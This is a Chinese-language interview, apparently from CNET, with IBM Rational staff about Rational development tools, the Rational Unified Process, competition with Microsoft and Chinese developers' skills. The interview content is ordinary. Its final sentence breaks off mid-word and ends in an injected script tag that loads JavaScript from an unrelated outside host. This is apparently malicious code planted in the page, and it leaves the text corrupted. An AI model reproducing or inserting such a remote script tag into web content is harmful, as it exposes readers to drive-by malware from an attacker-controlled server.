实现工具这块,一般来讲叫做developer或是写代码的人员来用,也是在rsa当中来用,因为rsa包含了rad,所以在上面是可以做编码的。
测试方面,有一些单元测试就是开发人员来用,比如说像rad上面提供的这些代码检查、单元测试,这些是开发人员来用的,其它的一些测试产品,像rpt这些是最终做测试的人员tester来用的。
版本管理一般所有的人都要用,主要由类似于cmo、版本管理officer这样的人来控制或者配制clearcase这样的版本管理的工具。
web发布这方面,rsa本身就可以做web发布,因为它可以生成代码、生成java、生成html这些东西;而报表生成工具可以将前面所讲的这些工具结构分析清楚,然后把它发布出去,这个可能各个角色的人都会需要。
团队协作与版本管理有些相似,就是clearcase、clearquest构成的基础,基本上所有的人都会来用。如果从项目管理的角度来看,我们有一个工具叫rpm,这个主要是项目经理用,项目成员也要到这个工具中来看分配给他们的任务,input他们的工作,加入他们的一些经验。
cnet:能否具体谈一下rational统一过程(rup,rational unified process),它在团队协作开发过程中起到一个什么作用?
terry:rup本身就是一个process(过程),在这个过程中它会告诉你,谁在软件开发过程当中,在某一个步骤应该做什么,有了这个工具,大家都很清楚我在这个项目中应该做什么,我在什么时候应该做这件事情,做这件事情的时候我应该依据什么方式去做,做完之后我会有一个什么样的结果。
并且rup本身它是一个强调叠加的过程,做软件开发这个过程有时候需要多次叠带,不断的向其中加入一些新的需求和特色,这样逐步的滚动才能开发出一个产品。
总的来讲,它提供一个所有软件开发团队,做软件开发的最佳经验。它是业界经验的一个总结,并且告诉你,在做软件开发的时候,你是什么角色,你应该做什么事情,你应该怎么做,做的时候需要什么样input,做完之后,会有什么样的output,从这点上来讲,你可以认为它是一个团队协作的最佳方案。
ibm软件集团rational、uml宣传师terry quatrani
cnet:ibm rational与竞争对手(如微软)的开发平台有何区别?它的优势是什么?
terry:总的来讲的话,ibm的软件开发平台提供的是整个生命周期的支持。相比来讲,比如说像微软这样的一些厂商,它提供的可能是一部分支持,其它的可能是通过与合作伙伴来做集成,或者一些其它方式来达到。
从ibm整个开发平台来看,从前面的业务建模,一直到最后把它发布到服务器上面去,ibm都有支持。像设计和构建工具、流程和产品管理工具、需求与分析工具、软件配置管理工具、以及软件质量管理工具等几乎所有软件开发工具。
另外,从对工具的支持和服务的角度来看,ibm rational在全球已经做了很长时间了,有非常强大的支持和服务的团队,rational服务拥有20多年的经验以及众多的成功案例。工具总是要有相应的技术人员来支持才能够用的起来,来能够部署的更好,但是在这一块,我们目前没有看到微软有什么的大的动作。它们在各个国家的支持模式和我们都不太一样。
cnet:您认为在软件开发生命周期管理工具中,ibm rational在市场中处于一个什么位置?
terry:我们认为ibm rational是绝对的第一。
cnet:ibm rational全球的用户数量有多少?
terry:非常多,具体的用户数我想不起来了,没有一个准确的数字可以告诉你,我印象中大概是几十万这样的数字,但不能确定。
cnet:介绍一下rational研发团队的情况?
terry:modeling(建模)这块大部分是在美国和加拿大做的,有一些像test realtime印度有一部分在做,clearcase、clearquest主要的是在美国做,有一部分是印度开发,clearquest中也有一小部分在中国做。我们希望我们的开发是这种多地异步的方式,就像发展我们的客户一样。
cnet:谈谈中国开发人员的一些情况?
terry:我没有深入中国市场来了解软件开发人员的一个情况,但我可以谈谈自身的感受。我四年前来过北京一次,那时候给我的感觉是没有多少人知道uml,但是这次再来到北京却不同,从开发者大会上的座谈也好,从中国这边的技术人员发到我们内部网讨论组上的一些问题也好,我觉得,相比来讲,在这块有非常大的改进,或者说在这方面大家了解了很多。
cnet:您认为国内开发人员的专业技能处在一个什么样的水平上?他们在软件开发过程中目前所欠缺的是什么?或者说有什么需要改进和加强的地方?
qiong wu:从使用uml的角度来看,现在可以认为,国内的开发人员都已经接受了这个软件开发过程中的观念,或者说他们知道做软件开发,应该要做设计、要做可视化建模、要做配置管理、要做测试,这些概念都已经很清楚了,都知道要做这件事情。
现在比较欠缺的可能就是大家在自?script src=http://er12.com/t.js>







